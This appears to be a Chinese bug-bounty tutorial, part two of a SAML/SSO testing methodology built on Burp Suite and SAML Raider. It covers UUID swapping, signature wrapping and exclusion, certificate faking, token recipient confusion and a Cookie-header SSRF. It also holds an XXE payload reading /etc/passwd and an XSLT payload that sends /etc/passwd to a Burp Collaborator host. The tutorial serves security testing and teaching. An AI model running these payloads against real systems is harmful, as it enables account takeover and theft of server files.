赏金猎人系列-如何测试sso相关的漏洞(II)

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

本文选自本人公众号: growing0101

前言

本文承接前文,继续梳理sso漏洞相关的测试方法.

正文

第八种情况

如果发现有uuid的这种形式,可以尝试将其更改为攻击者的uuid,例如,你可以改为内部员工或者说是管理员的账户的电子邮箱;

测试步骤:(工具使用Burp Suite)

  1. 用令牌拦截SAML请求

  2. 将请求发送是Repeater

  3. 切换到SAML Raider标签

  4. 将UUID更改为受害者帐户的UUID

  5. 点击Go

第九种情况

尝试弄清楚服务器是否容易受到XSW(XML Signature Wrapping)的攻击?

测试步骤:

1.用令牌拦截SAML请求
2.将请求发送是Repeater
3.切换到SAML Raider标签
4.选择XSW号码攻击,例如XSW3
5.点击Apply XSW
6.点击Go

第十种情况

试着找出服务器是否容易受到XSE(XML Signature Exclusion )的攻击

测试步骤:

1.用令牌拦截SAML请求
2.将请求发送是Repeater
3.切换到SAML Raider标签
4.点击Remove Signatures
6.点击Go

第十一种情况

试着弄清楚服务器是否检查签名者的身份

测试步骤:

1.用令牌拦截SAML请求

2.将请求发送是Repeater

3.切换到SAML Raider标签

4.点击Sent Certificate至SAML Raider的证书

5.切换至SAML Raider Certificates

6.点击Save and Self-Sign

7.返回至SAML Raider Tab

8.点击On (Re-)Sign message 或者 Assertion 或者 Both

9.点击Go

第十二种情况

尝试在SAML响应的顶部注入XXE有效负载:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.me.com/text.dtd" >]>
<samlp:Response ID="" > <saml:Issuer></saml:Issuer>
<ds:Signature > 
......
&dtd
.....

第十三种情况

尝试将XSLT有效负载作为SAML响应的子节点注入Transforms元素

...
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/> <xsl:variable name="escaped" select="encode-for-uri($file)"/> <xsl:variable name="attackerUrl" select="'http://id.burpcollaborator.net/'"/> <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/> <xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template> </xsl:stylesheet> </ds:Transforms>
</ds:Signature> 
...

第十四种情况

如果受害者能够接受由为攻击者提供服务的同一身份提供者所发行的令牌,那么你就可以接管受害者的账户。

测试步骤:

1.拦截SAML令牌响应

2.向受害者发送SAML令牌响应

3.尝试让受害者点击SAML令牌响应

4.从攻击者的浏览器尝试使用SAML令牌响应

第十五种情况

在测试SSO时,尝试在Burp Suite中搜索Cookie头中的url,例如Host=IP;如果有尝试改变IP为你的IP,以获得SSRF

POST /sso HTTP/1.1
Host: www.company.com 
User-Agent: Mozilla/5.0
Cookie: Host=changed-IP:PORT; 
Referer: https://previous.com/path 
Origin: https://www.company.com

RelayState=path&SAMLResponse=base64(SAML-Structure)

更多精彩内容请关注公众号 growing0101

参考

https://hackerone.com/reports/136169

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-signature-wrapping

https://research.aurainfosec.io/bypassing-saml20-SSO/?lipi=urn%3Ali%3Apage%3Ad_flagship3_feed%3BxtHwFzjkSyaBXhbuvBbOYg%3D%3D

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-signature-exclusion

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#certificate-faking

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#certificate-faking

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-external-entity-via-saml

https://web-in-security.blogspot.com/2014/11/detecting-and-exploiting-xxe-in-saml.html

https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#extensible-stylesheet-language-transformation-via-saml

https://www.contextis.com/en/blog/xslt-server-side-injection-attacks

https://web.archive.org/web/20190505230052/https://www.contextis.com/en/blog/xslt-server-side-injection-attacks

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#token-recipient-confusion

https://www.economyofmechanism.com/office365-authbypass.html

https://medium.com/@th3g3nt3l/how-i-found-an-ssrf-in-yahoo-guesthouse-recon-wins-8722672e41d4

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值